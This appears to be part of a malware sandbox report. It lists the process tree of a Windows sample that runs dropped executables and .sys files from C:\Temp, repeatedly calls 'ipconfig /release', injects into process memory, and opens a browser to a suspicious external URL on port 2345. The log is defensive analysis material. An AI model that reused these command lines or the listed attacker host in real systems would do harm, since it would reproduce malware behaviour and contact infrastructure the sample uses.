        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdxvnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4980
  - - C:\Temp\i_nlfdxvnifa.exe
      C:\Temp\i_nlfdxvnifa.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4112
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcxvpnhfdx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5560
  - - C:\Temp\fcxvpnhfdx.exe
      C:\Temp\fcxvpnhfdx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3936
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1368
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcxvpnhfdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2012
  - - C:\Temp\i_fcxvpnhfdx.exe
      C:\Temp\i_fcxvpnhfdx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2528
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkhczxus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2616
  - - C:\Temp\usmkhczxus.exe
      C:\Temp\usmkhczxus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5404
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1952
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkhczxus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:200
  - - C:\Temp\i_usmkhczxus.exe
      C:\Temp\i_usmkhczxus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxrpjhczxr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2388
  - - C:\Temp\zxrpjhczxr.exe
      C:\Temp\zxrpjhczxr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1820
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczxr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2308
  - - C:\Temp\i_zxrpjhczxr.exe
      C:\Temp\i_zxrpjhczxr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zwuojgezwr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2544
  - - C:\Temp\zwuojgezwr.exe
      C:\Temp\zwuojgezwr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4424
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zwuojgezwr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5828
  - - C:\Temp\i_zwuojgezwr.exe
      C:\Temp\i_zwuojgezwr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtrojgebwr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1228
  - - C:\Temp\wtrojgebwr.exe
      C:\Temp\wtrojgebwr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2528
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5748
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2880
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtrojgebwr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3440
  - - C:\Temp\i_wtrojgebwr.exe
      C:\Temp\i_wtrojgebwr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtoigdywql.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4720
  - - C:\Temp\wtoigdywql.exe
      C:\Temp\wtoigdywql.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1488
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3160
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtoigdywql.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4368
  - - C:\Temp\i_wtoigdywql.exe
      C:\Temp\i_wtoigdywql.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigayvtql.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3960
  - - C:\Temp\qoigayvtql.exe
      C:\Temp\qoigayvtql.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2456
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4900
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigayvtql.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1852
  - - C:\Temp\i_qoigayvtql.exe
      C:\Temp\i_qoigayvtql.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6036
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ifdxvqnifd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2072
  - - C:\Temp\ifdxvqnifd.exe
      C:\Temp\ifdxvqnifd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ifdxvqnifd.exe ups_ins
    3⤵
    PID:2712
  - - C:\Temp\i_ifdxvqnifd.exe
      C:\Temp\i_ifdxvqnifd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ifausnkida.exe ups_run
    3⤵
    PID:1456
  - - C:\Temp\ifausnkida.exe
      C:\Temp\ifausnkida.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4348
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2668
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ifausnkida.exe ups_ins
    3⤵
    PID:972
  - - C:\Temp\i_ifausnkida.exe
      C:\Temp\i_ifausnkida.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3392
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvpnhfcxus.exe ups_run
    3⤵
    PID:4444
  - - C:\Temp\xvpnhfcxus.exe
      C:\Temp\xvpnhfcxus.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1520
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4408
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvpnhfcxus.exe ups_ins
    3⤵
    PID:3244
  - - C:\Temp\i_xvpnhfcxus.exe
      C:\Temp\i_xvpnhfcxus.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eczxrpmkec.exe ups_run
    3⤵
    PID:1656
  - - C:\Temp\eczxrpmkec.exe
      C:\Temp\eczxrpmkec.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2800
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5648
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eczxrpmkec.exe ups_ins
    3⤵
    PID:1800
  - - C:\Temp\i_eczxrpmkec.exe
      C:\Temp\i_eczxrpmkec.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mhecxrpjhb.exe ups_run
    3⤵
    PID:940
  - - C:\Temp\mhecxrpjhb.exe
      C:\Temp\mhecxrpjhb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3096
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3152
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mhecxrpjhb.exe ups_ins
    3⤵
    PID:5272
  - - C:\Temp\i_mhecxrpjhb.exe
      C:\Temp\i_mhecxrpjhb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5376
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gezwuoljhe.exe ups_run
    3⤵
    PID:5508
  - - C:\Temp\gezwuoljhe.exe
      C:\Temp\gezwuoljhe.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5396
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:712
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gezwuoljhe.exe ups_ins
    3⤵
    PID:4840
  - - C:\Temp\i_gezwuoljhe.exe
      C:\Temp\i_gezwuoljhe.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1652
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgeywqojdb.exe ups_run
    3⤵
    PID:4164
  - - C:\Temp\jgeywqojdb.exe
      C:\Temp\jgeywqojdb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4432
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3308
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5296
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgeywqojdb.exe ups_ins
    3⤵
    PID:6128
  - - C:\Temp\i_jgeywqojdb.exe
      C:\Temp\i_jgeywqojdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljdbwtolg.exe ups_run
    3⤵
    PID:4724
  - - C:\Temp\rljdbwtolg.exe
      C:\Temp\rljdbwtolg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:900
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5348
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljdbwtolg.exe ups_ins
    3⤵
    PID:3204
  - - C:\Temp\i_rljdbwtolg.exe
      C:\Temp\i_rljdbwtolg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\aysqolgdyv.exe ups_run
    3⤵
    PID:4948
  - - C:\Temp\aysqolgdyv.exe
      C:\Temp\aysqolgdyv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2844
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2772
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_aysqolgdyv.exe ups_ins
    3⤵
    PID:2900
  - - C:\Temp\i_aysqolgdyv.exe
      C:\Temp\i_aysqolgdyv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3272
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffee109c188,0x7ffee109c194,0x7ffee109c1a0
      4⤵
      PID:4312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1876,i,11491925813665798223,12955327394336505691,262144 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:2
      4⤵
      PID:2804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2084,i,15719417513934953196,15336731050942973959,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:11
      4⤵
      System Time Discovery
      PID:4240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2420,i,6405711733086058046,15299442575230443565,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:13
      4⤵
      PID:5408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,4485682020179296543,7039645448978363572,2097152 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:5280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,15779637457485470759,4834742087880081612,2097152 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:2088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4204,i,11404798347458836603,11375708227524171032,2097152 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:9
      4⤵
      PID:6032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4224,i,8112036855819100593,4245247122355484523,2097152 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:1
      4⤵
      PID:608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,4800246037714073546,12959401615309343751,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:14
      4⤵
      PID:2876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5536,i,4458326652190250667,10313436540070289831,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
      4⤵
      PID:4936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5532,i,8972512409827445031,13343814076226196191,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
      4⤵
      PID:916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,9584719023805046556,13783352661046455268,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
      4⤵
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,9584719023805046556,13783352661046455268,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
      4⤵
      PID:4844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,8240652959713125926,5829225487075188744,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
      4⤵
      PID:4648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1388,i,15101748905401106447,13312967485151415795,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:5420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1420,i,14115269611867718053,4727929442962854362,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=1384 /prefetch:14
      4⤵
      PID:5640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1428,i,10349602873556360586,15605670122593978391,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
      4⤵
      PID:2268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,8520228418918799557,13870778322422193680,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:14
      4⤵
      PID:1076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,9761559247146475050,8809003812361744170,524288 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:14
      4⤵
      PID:4324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7084,i,8757245556673705897,17280191434040515190,262144 --field-trial-handle=2612,i,5984217653800691471,12199998344988508112,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:10
      4⤵
      PID:1136

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3484

C:\Temp\trljdbvtomgeywqo.sys
C:\Temp\trljdbvtomgeywqo.sys
1⤵
- Executes dropped EXE
PID:4256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4424

C:\Temp\bvtnlgdyvt.sys
C:\Temp\bvtnlgdyvt.sys
1⤵
- Executes dropped EXE
PID:3644

C:\Temp\tnlfdavsnl.sys
C:\Temp\tnlfdavsnl.sys
1⤵
- Executes dropped EXE
PID:6120

C:\Temp\sqkifaxsqk.sys
C:\Temp\sqkifaxsqk.sys
1⤵
- Executes dropped EXE
PID:2456

C:\Temp\faxsqkhcax.sys
C:\Temp\faxsqkhcax.sys
1⤵
- Executes dropped EXE
PID:1656

C:\Temp\czurpjhczu.sys
C:\Temp\czurpjhczu.sys
1⤵
